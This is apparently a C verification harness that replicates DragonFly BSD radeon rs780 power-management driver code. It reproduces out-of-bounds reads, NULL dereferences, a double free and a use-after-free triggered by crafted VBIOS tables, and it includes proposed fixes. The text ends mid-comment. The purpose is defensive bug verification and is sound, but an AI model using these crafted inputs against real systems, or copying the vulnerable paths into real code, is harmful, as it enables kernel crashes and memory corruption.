/* * DF-4492 / DF-4493 / DF-4494 — rs780_dpm.c pass-2 verification harness * ============================================================================= * Userspace replica of the vulnerable code paths in * sys/dev/drm/radeon/rs780_dpm.c (DragonFly 6.5-DEVELOPMENT, GLM-5.3 pass 2) * * The kernel functions below are copied VERBATIM from rs780_dpm.c (line numbers * cited in comments). Only the following are stubbed, none of which affect * the pointer/index arithmetic under test: * - le16_to_cpu()/le32_to_cpu() -> identity (little-endian host) * - WREG32/WREG32_P/RREG32 -> no-op counters / constant reads * - udelay()/mdelay()/radeon_wait_for_vblank() -> no-ops * - r600_* register helpers -> no-op macros (pure MMIO in the kernel) * - radeon_atom_get_clock_dividers() -> fills a zeroed divider struct, ret 0 * - kzalloc()/kfree() -> canary allocator with 64-byte poison * redzones on BOTH sides, double-free/invalid-free detection and a * 0xB0 free-fill so use-after-free reads/writes are observable * - atom_parse_data_header() -> satisfied by the caller (data_offset, * data_size from the crafted image) * - ATOM_PPLIB_POWERPLAYTABLE reduced (packed) to the fields rs780 reads; * the VBIOS image is crafted with the same definition. * * Modes: * 4492 unchecked VBIOS indices/strides in rs780_parse_power_table: * nonClockStateIndex*ucNonClockSize (:820-821), * clockStateIndices[0]*ucClockInfoSize (:826-827) and the * usStateArrayOffset + i*ucStateEntrySize walk (:812-816) all read * past the BIOS image -> kernel heap OOB reads (canary reports the * exact landings; values land in rps->class/caps/vclk/sclk_low...) * 4492g far-OOB variant on a guard-page-backed BIOS image -> * deterministic SIGSEGV at the predicted address (kernel: * page-fault panic) * 4493 PowerPlayInfo with no BOOT-classified state -> boot_ps stays NULL * -> radeon_pm_init_dpm still calls rs780_dpm_enable * (return of rs780_dpm_init is discarded, radeon_pm.c:1448) -> * rs780_get_ps(NULL) reads NULL->ps_priv -> SIGSEGV at 0x28 * 4493b ucStateEntrySize == 1 makes the `if (ucStateEntrySize - 1)` guard * (:822) skip EVERY state -> all ps_priv stay NULL, boot_ps NULL, * num_ps still ucNumStates (:842) -> radeon_dpm_print_power_states * -> rs780_dpm_print_power_state derefs ps->sclk_low (:946) -> * SIGSEGV at 0x8 * 4494 kzalloc(struct igp_ps) failure at state #1 -> parse kfrees * rdev->pm.dpm.ps and leaves it dangling (:830) -> (error swallowed * per radeon_pm.c:1448) -> driver unload -> radeon_pm_fini * (radeon_pm.c:1705) -> rs780_dpm_fini kfrees it AGAIN -> DOUBLE * FREE (:959) * 4494u same dangling state, but rs780_dpm_enable dereferences * boot_ps == &ps[0] into the FREED array -> UAF read, then the * loaded 0xB0B0.. ps_priv is dereferenced -> SIGSEGV * 4494w successful parse + missing IntegratedSystemInfo header -> * rs780_dpm_init calls radeon_dpm_fini(rdev) itself (:933) and * returns -EINVAL which radeon_pm.c:1448 DISCARDS -> * rs780_dpm_enable writes pi->crtc_id into the FREED * igp_power_info (UAF WRITE), then faults * * Build: cc -O2 -Wall -std=gnu11 -o harness harness.c * cc -O2 -Wall -std=gnu11 -DFIX_ALL -o harness_fixed harness.c * (FIX_ALL compiles the proposed fixes; harness_fixed must complete every * mode without SIGSEGV/double-free/UAF/OOB detection.) */ #include #include #include #include #include #include #include #include #include #define ENOMEM 12 #define EINVAL 22 #define GFP_KERNEL 0 typedef uint8_t UCHAR; typedef uint16_t USHORT; typedef uint32_t ULONG; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; #define le16_to_cpu(x) (x) #define le32_to_cpu(x) (x) #define DRM_ERROR(fmt, ...) printf("DRM_ERROR: " fmt "\n", ## __VA_ARGS__) #define udelay(x) do { } while (0) #define mdelay(x) do { } while (0) /* ------------------------------------------------------------------ */ /* canary allocator: 64-byte poison redzones + 0xB0 free-fill */ /* ------------------------------------------------------------------ */ #define POISON 0xA5 #define FREE_POISON 0xB0 #define REDZONE 64 struct alloc_rec { void *obj; size_t sz; int live; }; static struct alloc_rec arec[8192]; static int arec_n; static int kmalloc_calls; static int kmalloc_fail_at = -1; /* 1-based: fail the Nth kzalloc */ static unsigned char poison_byte = POISON; static int canary_violations; static void *kzalloc(size_t sz, int flags) { void *base; struct alloc_rec *r; size_t total = REDZONE + sz + REDZONE; (void)flags; kmalloc_calls++; if (kmalloc_fail_at == kmalloc_calls) { printf("[kzalloc #%d (%zu bytes) -> INJECTED FAILURE (ENOMEM)]\n", kmalloc_calls, sz); return NULL; } base = malloc(total); if (!base) return NULL; memset(base, poison_byte, REDZONE); /* front */ memset((char *)base + REDZONE + sz, poison_byte, REDZONE); /* rear */ memset((char *)base + REDZONE, 0, sz); /* zeroed */ r = &arec[arec_n++]; r->obj = (char *)base + REDZONE; r->sz = sz; r->live = 1; return r->obj; } static struct alloc_rec *find_alloc(const void *p) { int i; for (i = 0; i < arec_n; i++) if (arec[i].obj == p) return &arec[i]; return NULL; } static void kfree(void *p) { struct alloc_rec *r; if (p == NULL) return; r = find_alloc(p); if (!r) { printf("*** CANARY ALLOCATOR: kfree(%p) of a pointer that is " "NOT a live allocation base (INVALID FREE) ***\n", p); canary_violations++; return; } if (!r->live) { printf("*** CANARY ALLOCATOR: DOUBLE FREE of %p (size %zu) " "DETECTED ***\n", p, r->sz); canary_violations++; return; } r->live = 0; memset(p, FREE_POISON, r->sz); /* UAF reads/writes observable */ } /* verify [p, p+len) lies inside one LIVE allocation */ static int check_in_object(const char *what, const void *p, size_t len) { int i; for (i = 0; i < arec_n; i++) { char *o = arec[i].obj; if (arec[i].live && (const char *)p >= o && (const char *)p + len <= o + arec[i].sz) return 1; /* in-bounds */ } printf("*** CANARY: %s at %p (len %zu) is OUTSIDE every live " "allocation -> heap OOB access ***\n", what, p, len); canary_violations++; return 0; } /* is p inside a FREED (not live) allocation? -> UAF */ static int check_is_freed(const char *what, const void *p) { int i; for (i = 0; i < arec_n; i++) if (arec[i].obj == (void *)p && !arec[i].live) { printf("*** CANARY: %s == %p points into a FREED " "allocation (size %zu) -> USE AFTER FREE ***\n", what, p, arec[i].sz); canary_violations++; return 1; } return 0; } /* did a freed object change from the 0xB0 free-fill? -> UAF WRITE */ static int check_freed_written(const char *what, const void *p) { int i; const unsigned char *b = p; for (i = 0; i < arec_n; i++) if (arec[i].obj == p && !arec[i].live) { size_t j, hits = 0; for (j = 0; j < arec[i].sz; j++) if (b[j] != FREE_POISON) hits++; if (hits) { printf("*** CANARY: freed object %s (%p, %zu " "bytes) has %zu bytes != 0x%02x -> object " "WRITTEN AFTER FREE (UAF WRITE) ***\n", what, p, arec[i].sz, hits, FREE_POISON); canary_violations++; return 1; } return 0; } return 0; } /* ------------------------------------------------------------------ */ /* minimal struct replicas (field ORDER faithful to the kernel) */ /* ------------------------------------------------------------------ */ struct igp_ps { /* rs780_dpm.h:52-58 */ u32 min_voltage; /* enum, 4 bytes */ u32 max_voltage; u32 sclk_low; u32 sclk_high; u32 flags; }; enum rs780_vddc_level_x { RS780_VDDC_LEVEL_UNKNOWN = 0, RS780_VDDC_LEVEL_LOW = 1, RS780_VDDC_LEVEL_HIGH = 2 }; struct igp_power_info { /* rs780_dpm.h:32-50 */ bool invert_pwm_required; bool pwm_voltage_control; bool voltage_control; bool gfx_clock_gating; u32 system_config; u32 bootup_uma_clk; u16 max_voltage; u16 min_voltage; u16 boot_voltage; u16 inter_voltage_low; u16 inter_voltage_high; u16 num_of_cycles_in_period; int crtc_id; int refresh_rate; }; enum radeon_vce_level_x { RADEON_VCE_LEVEL_NONE = 0 }; /* field order identical to sys/dev/drm/radeon/radeon.h:1342-1357 */ struct radeon_ps { u32 caps; u32 class; u32 class2; u32 vclk; u32 dclk; u32 evclk; u32 ecclk; bool vce_active; enum radeon_vce_level_x vce_level; void *ps_priv; }; struct radeon_dpm { struct radeon_ps *ps; int num_ps; struct radeon_ps *current_ps; struct radeon_ps *requested_ps; struct radeon_ps *boot_ps; struct radeon_ps *uvd_ps; void *priv; }; struct atom_context { uint8_t *bios; u16 data_off, data_size; }; struct radeon_mode_info { struct atom_context *atom_context; }; /* fake CRTC plumbing for rs780_get_pm_mode_parameters (:48-70) */ struct drm_crtc { bool enabled; struct { int htotal, vtotal; } mode; }; struct radeon_crtc { struct drm_crtc base; int crtc_id; }; #define to_radeon_crtc(x) container_of_(x, struct radeon_crtc, base) #define container_of_(ptr, type, member) \ ((type *)((char *)(ptr) - offsetof(type, member))) #define RADEON_MAX_CRTCS 6 struct radeon_device { struct radeon_mode_info mode_info; struct { struct radeon_dpm dpm; } pm; struct drm_crtc *crtcs[RADEON_MAX_CRTCS]; int num_crtc; struct { u32 default_sclk; } clock; }; /* ------------------------------------------------------------------ */ /* ATOM table replicas (packed like the kernel's #pragma pack(1)) */ /* ------------------------------------------------------------------ */ #define ATOM_PPLIB_CLASSIFICATION_BOOT (1<<0) #define ATOM_PPLIB_CLASSIFICATION_UVDSTATE (1<<5) #define ATOM_PPLIB_NONCLOCKINFO_VER1 12 #define RS780_DEFAULT_VCLK_FREQ 53300 #define RS780_DEFAULT_DCLK_FREQ 40000 typedef struct _ATOM_PPLIB_NONCLOCK_INFO { /* pptable.h:298 */ USHORT usClassification; UCHAR ucMinTemperature; UCHAR ucMaxTemperature; ULONG ulCapsAndSettings; UCHAR ucRequiredPower; USHORT usClassification2; ULONG ulVCLK; ULONG ulDCLK; UCHAR ucUnused[5]; } __attribute__((packed)) ATOM_PPLIB_NONCLOCK_INFO; typedef struct _ATOM_PPLIB_RS780_CLOCK_INFO { /* pptable.h:338 */ USHORT usLowEngineClockLow; UCHAR ucLowEngineClockHigh; USHORT usHighEngineClockLow; UCHAR ucHighEngineClockHigh; USHORT usMemoryClockLow; UCHAR ucMemoryClockHigh; UCHAR ucPadding; USHORT usVDDC; UCHAR ucMaxHTLinkWidth; UCHAR ucMinHTLinkWidth; USHORT usHTLinkFreq; ULONG ulFlags; } __attribute__((packed)) ATOM_PPLIB_RS780_CLOCK_INFO; typedef struct _ATOM_PPLIB_STATE { /* pptable.h:74 */ UCHAR ucNonClockStateIndex; UCHAR ucClockStateIndices[1]; } __attribute__((packed)) ATOM_PPLIB_STATE; /* reduced ATOM_PPLIB_POWERPLAYTABLE (pptable.h:147): field offsets are * what matters — ucNumStates at +5, entry sizes +6..+8, array offsets * +9/+11/+13 from the table start */ typedef struct { UCHAR r0[4]; /* ATOM_COMMON_TABLE_HEADER */ UCHAR ucDataRevision; /* +4 */ UCHAR ucNumStates; /* +5 */ UCHAR ucStateEntrySize; /* +6 */ UCHAR ucClockInfoSize; /* +7 */ UCHAR ucNonClockSize; /* +8 */ USHORT usStateArrayOffset; /* +9 */ USHORT usClockInfoArrayOffset; /* +11 */ USHORT usNonClockInfoArrayOffset;/* +13 */ } __attribute__((packed)) PPLIB_MIN; union power_info { PPLIB_MIN pplib; }; union pplib_clock_info { ATOM_PPLIB_RS780_CLOCK_INFO rs780; }; union pplib_power_state { ATOM_PPLIB_STATE v1; }; #define ATOM_PPLIB_RS780_VOLTAGE_NONE 0 #define ATOM_PPLIB_RS780_VOLTAGE_LOW 1 #define ATOM_PPLIB_RS780_VOLTAGE_HIGH 2 #define ATOM_PPLIB_RS780_VOLTAGE_VARIABLE 3 /* ------------------------------------------------------------------ */ /* register / helper stubs */ /* ------------------------------------------------------------------ */ #define R600_PM_NUMBER_OF_TC 15 #define R600_PM_NUMBER_OF_SCLKS 20 enum { R600_POWER_LEVEL_LOW = 0, R600_POWER_LEVEL_MEDIUM = 1, R600_POWER_LEVEL_HIGH = 2, R600_POWER_LEVEL_CTXSW = 3 }; enum { R600_DISPLAY_WATERMARK_HIGH = 1 }; static long wreg_budget = 1000000; static void wreg_hit(void) { if (--wreg_budget < 0) { printf("*** WREG32 budget exhausted (runaway loop) ***\n"); canary_violations++; exit(97); } } #define WREG32(r, v) do { (void)(r); (void)(v); wreg_hit(); } while (0) #define WREG32_P(r, v, m) do { (void)(r); (void)(v); (void)(m); wreg_hit(); } while (0) #define RREG32(r) (0) #define r600_engine_clock_entry_set_reference_divider(r, e, v) wreg_hit() #define r600_engine_clock_entry_set_feedback_divider(r, e, v) wreg_hit() #define r600_engine_clock_entry_set_post_divider(r, e, v) wreg_hit() #define r600_engine_clock_entry_enable_post_divider(r, e, b) wreg_hit() #define r600_engine_clock_entry_set_step_time(r, e, v) wreg_hit() #define r600_engine_clock_entry_enable_pulse_skipping(r, e, b) wreg_hit() #define r600_engine_clock_entry_enable(r, e, b) wreg_hit() #define r600_enable_mclk_control(r, b) wreg_hit() #define r600_voltage_control_enable_pins(r, v) wreg_hit() #define r600_set_bsp(r, a, b) wreg_hit() #define r600_set_at(r, a, b, c, d) wreg_hit() #define r600_set_git(r, v) wreg_hit() #define r600_set_tc(r, i, a, b) wreg_hit() #define r600_select_td(r, v) wreg_hit() #define r600_set_vrc(r, v) wreg_hit() #define r600_set_tpu(r, v) wreg_hit() #define r600_set_tpc(r, v) wreg_hit() #define r600_set_sstu(r, v) wreg_hit() #define r600_set_sst(r, v) wreg_hit() #define r600_set_fctu(r, v) wreg_hit() #define r600_set_fct(r, v) wreg_hit() #define r600_set_vddc3d_oorsu(r, v) wreg_hit() #define r600_set_vddc3d_oorphc(r, v) wreg_hit() #define r600_set_vddc3d_oorsdc(r, v) wreg_hit() #define r600_set_ctxcgtt3d_rphc(r, v) wreg_hit() #define r600_set_ctxcgtt3d_rsdc(r, v) wreg_hit() #define r600_vid_rt_set_vru(r, v) wreg_hit() #define r600_vid_rt_set_vrt(r, v) wreg_hit() #define r600_vid_rt_set_ssu(r, v) wreg_hit() #define r600_power_level_set_voltage_index(r, l, v) wreg_hit() #define r600_power_level_set_mem_clock_index(r, l, v) wreg_hit() #define r600_power_level_set_eng_clock_index(r, l, v) wreg_hit() #define r600_power_level_set_watermark_id(r, l, v) wreg_hit() #define r600_power_level_enable(r, l, b) wreg_hit() #define r600_power_level_set_enter_index(r, l) wreg_hit() #define r600_enable_sclk_control(r, b) wreg_hit() #define r600_dynamicpm_enable(r, b) wreg_hit() #define r600_enable_spll_bypass(r, b) wreg_hit() #define r600_wait_for_spll_change(r) wreg_hit() static void radeon_wait_for_vblank(struct radeon_device *rdev, int i) { (void)rdev; (void)i; } static void r600_gfx_clockgating_enable(struct radeon_device *rdev, bool b) { (void)rdev; (void)b; } static bool r600_dynamicpm_enabled(struct radeon_device *rdev) { (void)rdev; return RREG32(0) ? true : false; } struct atom_clock_dividers { u32 ref_div, fb_div, post_div; bool enable_post_div; }; static volatile u32 g_clk_sink; /* keeps default_state->sclk_low loads live */ static int radeon_atom_get_clock_dividers(struct radeon_device *rdev, int ctl, u32 clk, bool b, struct atom_clock_dividers *d) { (void)rdev; (void)ctl; (void)b; memset(d, 0, sizeof(*d)); g_clk_sink = clk; return 0; } static bool r600_is_uvd_state(u32 class, u32 class2) { (void)class2; return class & ATOM_PPLIB_CLASSIFICATION_UVDSTATE; } static void r600_dpm_print_class_info(u32 a, u32 b) { (void)a; (void)b; } static void r600_dpm_print_cap_info(u32 a) { (void)a; } static void r600_dpm_print_ps_status(struct radeon_device *r, struct radeon_ps *p) { (void)r; (void)p; } #define printk printf /* radeon_dpm_fini macro (radeon.h:2802) dispatches to asic->dpm.fini */ static void rs780_dpm_fini(struct radeon_device *rdev); #define radeon_dpm_fini(rdev) rs780_dpm_fini(rdev) /* ================================================================== */ /* VERBATIM kernel code below — sys/dev/drm/radeon/rs780_dpm.c */ /* ================================================================== */ /* rs780_dpm.c:34-39 */ static struct igp_ps *rs780_get_ps(struct radeon_ps *rps) { struct igp_ps *ps = rps->ps_priv; return ps; } /* rs780_dpm.c:41-46 */ static struct igp_power_info *rs780_get_pi(struct radeon_device *rdev) { struct igp_power_info *pi = rdev->pm.dpm.priv; return pi; } /* rs780_dpm.c:48-70 */ static void rs780_get_pm_mode_parameters(struct radeon_device *rdev) { struct igp_power_info *pi = rs780_get_pi(rdev); struct radeon_mode_info *minfo = &rdev->mode_info; struct drm_crtc *crtc; struct radeon_crtc *radeon_crtc; int i; /* defaults */ pi->crtc_id = 0; pi->refresh_rate = 60; for (i = 0; i < rdev->num_crtc; i++) { crtc = rdev->crtcs[i]; if (crtc && crtc->enabled) { radeon_crtc = to_radeon_crtc(crtc); pi->crtc_id = radeon_crtc->crtc_id; if (crtc->mode.htotal && crtc->mode.vtotal) ; /* drm_mode_vrefresh stubbed: keep default */ break; } } } /* rs780_dpm.c:74-106 */ static int rs780_initialize_dpm_power_state(struct radeon_device *rdev, struct radeon_ps *boot_ps) { struct atom_clock_dividers dividers; struct igp_ps *default_state = rs780_get_ps(boot_ps); /* :78 !! */ int i, ret; ret = radeon_atom_get_clock_dividers(rdev, 0, default_state->sclk_low, false, ÷rs); /* :82 !! */ if (ret) return ret; r600_engine_clock_entry_set_reference_divider(rdev, 0, dividers.ref_div); r600_engine_clock_entry_set_feedback_divider(rdev, 0, dividers.fb_div); r600_engine_clock_entry_set_post_divider(rdev, 0, dividers.post_div); if (dividers.enable_post_div) r600_engine_clock_entry_enable_post_divider(rdev, 0, true); else r600_engine_clock_entry_enable_post_divider(rdev, 0, false); r600_engine_clock_entry_set_step_time(rdev, 0, 0); r600_engine_clock_entry_enable_pulse_skipping(rdev, 0, false); r600_engine_clock_entry_enable(rdev, 0, true); for (i = 1; i < R600_PM_NUMBER_OF_SCLKS; i++) r600_engine_clock_entry_enable(rdev, i, false); r600_enable_mclk_control(rdev, false); r600_voltage_control_enable_pins(rdev, 0); return 0; } /* rs780_dpm.c:108-173 (register plumbing stubbed) */ static int rs780_initialize_dpm_parameters(struct radeon_device *rdev, struct radeon_ps *boot_ps) { int ret = 0; int i; r600_set_bsp(rdev, 0, 0); r600_set_at(rdev, 0, 0, 0, 0); r600_set_git(rdev, 0); for (i = 0; i < R600_PM_NUMBER_OF_TC; i++) r600_set_tc(rdev, i, 0, 0); r600_select_td(rdev, 0); r600_set_vrc(rdev, 0); r600_set_vrc(rdev, 0); ret = rs780_initialize_dpm_power_state(rdev, boot_ps); /* :145 !! */ r600_power_level_set_voltage_index(rdev, R600_POWER_LEVEL_LOW, 0); r600_power_level_set_voltage_index(rdev, R600_POWER_LEVEL_MEDIUM, 0); r600_power_level_set_voltage_index(rdev, R600_POWER_LEVEL_HIGH, 0); r600_power_level_set_mem_clock_index(rdev, R600_POWER_LEVEL_LOW, 0); r600_power_level_set_mem_clock_index(rdev, R600_POWER_LEVEL_MEDIUM, 0); r600_power_level_set_mem_clock_index(rdev, R600_POWER_LEVEL_HIGH, 0); r600_power_level_set_eng_clock_index(rdev, R600_POWER_LEVEL_LOW, 0); r600_power_level_set_eng_clock_index(rdev, R600_POWER_LEVEL_MEDIUM, 0); r600_power_level_set_eng_clock_index(rdev, R600_POWER_LEVEL_HIGH, 0); r600_power_level_set_watermark_id(rdev, R600_POWER_LEVEL_LOW, R600_DISPLAY_WATERMARK_HIGH); r600_power_level_set_watermark_id(rdev, R600_POWER_LEVEL_MEDIUM, R600_DISPLAY_WATERMARK_HIGH); r600_power_level_set_watermark_id(rdev, R600_POWER_LEVEL_HIGH, R600_DISPLAY_WATERMARK_HIGH); r600_power_level_enable(rdev, R600_POWER_LEVEL_CTXSW, false); r600_power_level_enable(rdev, R600_POWER_LEVEL_HIGH, false); r600_power_level_enable(rdev, R600_POWER_LEVEL_MEDIUM, false); r600_power_level_enable(rdev, R600_POWER_LEVEL_LOW, true); r600_power_level_set_enter_index(rdev, R600_POWER_LEVEL_LOW); r600_set_vrc(rdev, 0); return ret; } /* rs780_dpm.c:175-196 (register-only) */ static void rs780_start_dpm(struct radeon_device *rdev) { r600_enable_sclk_control(rdev, false); r600_enable_mclk_control(rdev, false); r600_dynamicpm_enable(rdev, true); radeon_wait_for_vblank(rdev, 0); radeon_wait_for_vblank(rdev, 1); r600_enable_spll_bypass(rdev, true); r600_wait_for_spll_change(rdev); r600_enable_spll_bypass(rdev, false); r600_wait_for_spll_change(rdev); r600_enable_spll_bypass(rdev, true); r600_wait_for_spll_change(rdev); r600_enable_spll_bypass(rdev, false); r600_wait_for_spll_change(rdev); r600_enable_sclk_control(rdev, true); } /* rs780_dpm.c:199-207,209-220 (register-only) */ static void rs780_preset_ranges_slow_clk_fbdiv_en(struct radeon_device *rdev) { (void)rdev; } static void rs780_preset_starting_fbdiv(struct radeon_device *rdev) { (void)rdev; } /* rs780_dpm.c:303-311 */ static void rs780_clk_scaling_enable(struct radeon_device *rdev, bool enable) { (void)rdev; (void)enable; } /* rs780_dpm.c:362-371 */ static void rs780_program_at(struct radeon_device *rdev) { struct igp_power_info *pi = rs780_get_pi(rdev); WREG32(0, 30000000 / pi->refresh_rate); WREG32(0, 1000000 * 5 / pi->refresh_rate); WREG32(0, 1000000 * 10 / pi->refresh_rate); WREG32(0, 1000000 * 30 / pi->refresh_rate); WREG32(0, 1000000 * 50 / pi->refresh_rate); } /* rs780_dpm.c:373-376 */ static void rs780_disable_vbios_powersaving(struct radeon_device *rdev) { (void)rdev; } /* rs780_dpm.c:313-319 (register-only) */ static void rs780_voltage_scaling_enable(struct radeon_device *rdev, bool enable) { (void)rdev; (void)enable; } /* rs780_dpm.c:321-334,336-345,347-350,352-360 (register-only) */ static void rs780_set_engine_clock_wfc(struct radeon_device *rdev) { (void)rdev; } static void rs780_set_engine_clock_sc(struct radeon_device *rdev) { (void)rdev; } static void rs780_set_engine_clock_tdc(struct radeon_device *rdev) { (void)rdev; } static void rs780_set_engine_clock_ssc(struct radeon_device *rdev) { (void)rdev; } /* rs780_dpm.c:597-628 */ static int rs780_dpm_enable(struct radeon_device *rdev) { struct igp_power_info *pi = rs780_get_pi(rdev); struct radeon_ps *boot_ps = rdev->pm.dpm.boot_ps; /* :600 */ int ret; rs780_get_pm_mode_parameters(rdev); /* :603 (pi deref) */ rs780_disable_vbios_powersaving(rdev); if (r600_dynamicpm_enabled(rdev)) return -EINVAL; #ifdef FIX_DF4493 if (boot_ps == NULL || boot_ps->ps_priv == NULL) { /* proposed fix */ DRM_ERROR("no boot power state, refusing to enable DPM"); return -EINVAL; } #endif ret = rs780_initialize_dpm_parameters(rdev, boot_ps); /* :608 !! */ if (ret) return ret; rs780_start_dpm(rdev); rs780_preset_ranges_slow_clk_fbdiv_en(rdev); rs780_preset_starting_fbdiv(rdev); if (pi->voltage_control) rs780_clk_scaling_enable(rdev, true); /* stub stand-in */ rs780_clk_scaling_enable(rdev, true); rs780_set_engine_clock_sc(rdev); rs780_set_engine_clock_wfc(rdev); rs780_program_at(rdev); rs780_set_engine_clock_tdc(rdev); rs780_set_engine_clock_ssc(rdev); if (pi->gfx_clock_gating) r600_gfx_clockgating_enable(rdev, true); return 0; } /* rs780_dpm.c:717-745 */ static void rs780_parse_pplib_non_clock_info(struct radeon_device *rdev, struct radeon_ps *rps, ATOM_PPLIB_NONCLOCK_INFO *non_clock_info, u8 table_rev) { rps->caps = le32_to_cpu(non_clock_info->ulCapsAndSettings); /* :722 */ rps->class = le16_to_cpu(non_clock_info->usClassification); /* :723 */ rps->class2 = le16_to_cpu(non_clock_info->usClassification2); /* :724 */ if (ATOM_PPLIB_NONCLOCKINFO_VER1 < table_rev) { rps->vclk = le32_to_cpu(non_clock_info->ulVCLK); /* :727 */ rps->dclk = le32_to_cpu(non_clock_info->ulDCLK); /* :728 */ } else { rps->vclk = 0; rps->dclk = 0; } if (r600_is_uvd_state(rps->class, rps->class2)) { if ((rps->vclk == 0) || (rps->dclk == 0)) { rps->vclk = RS780_DEFAULT_VCLK_FREQ; rps->dclk = RS780_DEFAULT_DCLK_FREQ; } } if (rps->class & ATOM_PPLIB_CLASSIFICATION_BOOT) rdev->pm.dpm.boot_ps = rps; /* :742 */ if (rps->class & ATOM_PPLIB_CLASSIFICATION_UVDSTATE) rdev->pm.dpm.uvd_ps = rps; } /* rs780_dpm.c:747-787 */ static void rs780_parse_pplib_clock_info(struct radeon_device *rdev, struct radeon_ps *rps, union pplib_clock_info *clock_info) { struct igp_ps *ps = rs780_get_ps(rps); u32 sclk; sclk = le16_to_cpu(clock_info->rs780.usLowEngineClockLow); /* :754 */ sclk |= clock_info->rs780.ucLowEngineClockHigh << 16; ps->sclk_low = sclk; sclk = le16_to_cpu(clock_info->rs780.usHighEngineClockLow); /* :757 */ sclk |= clock_info->rs780.ucHighEngineClockHigh << 16; ps->sclk_high = sclk; switch (le16_to_cpu(clock_info->rs780.usVDDC)) { case ATOM_PPLIB_RS780_VOLTAGE_NONE: default: ps->min_voltage = RS780_VDDC_LEVEL_UNKNOWN; ps->max_voltage = RS780_VDDC_LEVEL_UNKNOWN; break; case ATOM_PPLIB_RS780_VOLTAGE_LOW: ps->min_voltage = RS780_VDDC_LEVEL_LOW; ps->max_voltage = RS780_VDDC_LEVEL_LOW; break; case ATOM_PPLIB_RS780_VOLTAGE_HIGH: ps->min_voltage = RS780_VDDC_LEVEL_HIGH; ps->max_voltage = RS780_VDDC_LEVEL_HIGH; break; case ATOM_PPLIB_RS780_VOLTAGE_VARIABLE: ps->min_voltage = RS780_VDDC_LEVEL_LOW; ps->max_voltage = RS780_VDDC_LEVEL_HIGH; break; } ps->flags = le32_to_cpu(clock_info->rs780.ulFlags); /* :779 */ if (rps->class & ATOM_PPLIB_CLASSIFICATION_BOOT) { ps->sclk_low = rdev->clock.default_sclk; ps->sclk_high = rdev->clock.default_sclk; ps->min_voltage = RS780_VDDC_LEVEL_HIGH; ps->max_voltage = RS780_VDDC_LEVEL_HIGH; } } /* proposed DF-4492 fix helper */ static int rs780_pplib_walk_ok(struct radeon_device *rdev, u32 extra) { u32 data_offset = rdev->mode_info.atom_context->data_off; u32 data_size = rdev->mode_info.atom_context->data_size; u32 base = data_offset + extra; return base <= data_offset + data_size && data_size >= 1; } /* rs780_dpm.c:789-844 (atom_parse_data_header satisfied by caller) */ static int rs780_parse_power_table(struct radeon_device *rdev) { struct radeon_mode_info *mode_info = &rdev->mode_info; ATOM_PPLIB_NONCLOCK_INFO *non_clock_info; union pplib_power_state *power_state; int i; union pplib_clock_info *clock_info; union power_info *power_info; u16 data_offset = rdev->mode_info.atom_context->data_off; u8 frev, crev; struct igp_ps *ps; frev = crev = 1; (void)frev; (void)crev; power_info = (union power_info *)(mode_info->atom_context->bios + data_offset); #ifdef FIX_DF4492 if (rdev->mode_info.atom_context->data_size < 15) { /* fixed header (15 bytes read below) larger than the table */ DRM_ERROR("power table too small"); return -EINVAL; } #endif rdev->pm.dpm.ps = kzalloc(sizeof(struct radeon_ps) * power_info->pplib.ucNumStates, GFP_KERNEL); /* :807 */ if (!rdev->pm.dpm.ps) return -ENOMEM; #ifdef FIX_DF4492 if (power_info->pplib.ucStateEntrySize < 2) { /* v1 state is 2 bytes */ DRM_ERROR("invalid ucStateEntrySize %d", power_info->pplib.ucStateEntrySize); kfree(rdev->pm.dpm.ps); rdev->pm.dpm.ps = NULL; return -EINVAL; } if (!rs780_pplib_walk_ok(rdev, (u32)le16_to_cpu(power_info->pplib.usStateArrayOffset) + (u32)power_info->pplib.ucNumStates * power_info->pplib.ucStateEntrySize)) { DRM_ERROR("state array walks past the power table"); kfree(rdev->pm.dpm.ps); rdev->pm.dpm.ps = NULL; return -EINVAL; } #endif for (i = 0; i < power_info->pplib.ucNumStates; i++) { power_state = (union pplib_power_state *) ((uint8_t*)mode_info->atom_context->bios + data_offset + le16_to_cpu(power_info->pplib.usStateArrayOffset) + i * power_info->pplib.ucStateEntrySize); /* :812-816 */ #ifdef FIX_DF4492 if (!rs780_pplib_walk_ok(rdev, (u32)le16_to_cpu(power_info->pplib.usNonClockInfoArrayOffset) + (u32)power_state->v1.ucNonClockStateIndex * power_info->pplib.ucNonClockSize + sizeof(ATOM_PPLIB_NONCLOCK_INFO))) { DRM_ERROR("nonClockInfoIndex %d walks past the table", power_state->v1.ucNonClockStateIndex); kfree(rdev->pm.dpm.ps); rdev->pm.dpm.ps = NULL; return -EINVAL; } #endif non_clock_info = (ATOM_PPLIB_NONCLOCK_INFO *) ((uint8_t*)mode_info->atom_context->bios + data_offset + le16_to_cpu(power_info->pplib.usNonClockInfoArrayOffset) + (power_state->v1.ucNonClockStateIndex * power_info->pplib.ucNonClockSize)); /* :817-821 */ if (power_info->pplib.ucStateEntrySize - 1) { /* :822 */ #ifdef FIX_DF4492 if (!rs780_pplib_walk_ok(rdev, (u32)le16_to_cpu(power_info->pplib.usClockInfoArrayOffset) + (u32)power_state->v1.ucClockStateIndices[0] * power_info->pplib.ucClockInfoSize + sizeof(ATOM_PPLIB_RS780_CLOCK_INFO))) { DRM_ERROR("clockInfoIndex %d walks past the table", power_state->v1.ucClockStateIndices[0]); kfree(rdev->pm.dpm.ps); rdev->pm.dpm.ps = NULL; return -EINVAL; } #endif clock_info = (union pplib_clock_info *) ((uint8_t*)mode_info->atom_context->bios + data_offset + le16_to_cpu(power_info->pplib.usClockInfoArrayOffset) + (power_state->v1.ucClockStateIndices[0] * power_info->pplib.ucClockInfoSize)); /* :823-827 */ ps = kzalloc(sizeof(struct igp_ps), GFP_KERNEL); /* :828 */ if (ps == NULL) { #ifdef FIX_DF4494 { int x; for (x = i - 1; x >= 0; x--) kfree(rdev->pm.dpm.ps[x].ps_priv); } kfree(rdev->pm.dpm.ps); rdev->pm.dpm.ps = NULL; /* no dangling */ rdev->pm.dpm.boot_ps = NULL; rdev->pm.dpm.uvd_ps = NULL; return -ENOMEM; #else kfree(rdev->pm.dpm.ps); /* :830 dangling! */ return -ENOMEM; #endif } rdev->pm.dpm.ps[i].ps_priv = ps; rs780_parse_pplib_non_clock_info(rdev, &rdev->pm.dpm.ps[i], non_clock_info, power_info->pplib.ucNonClockSize); rs780_parse_pplib_clock_info(rdev, &rdev->pm.dpm.ps[i], clock_info); } } rdev->pm.dpm.num_ps = power_info->pplib.ucNumStates; /* :842 */ return 0; } /* rs780_dpm.c:846-935 (scenario-relevant subset; r600_get_platform_caps * stubbed to success, 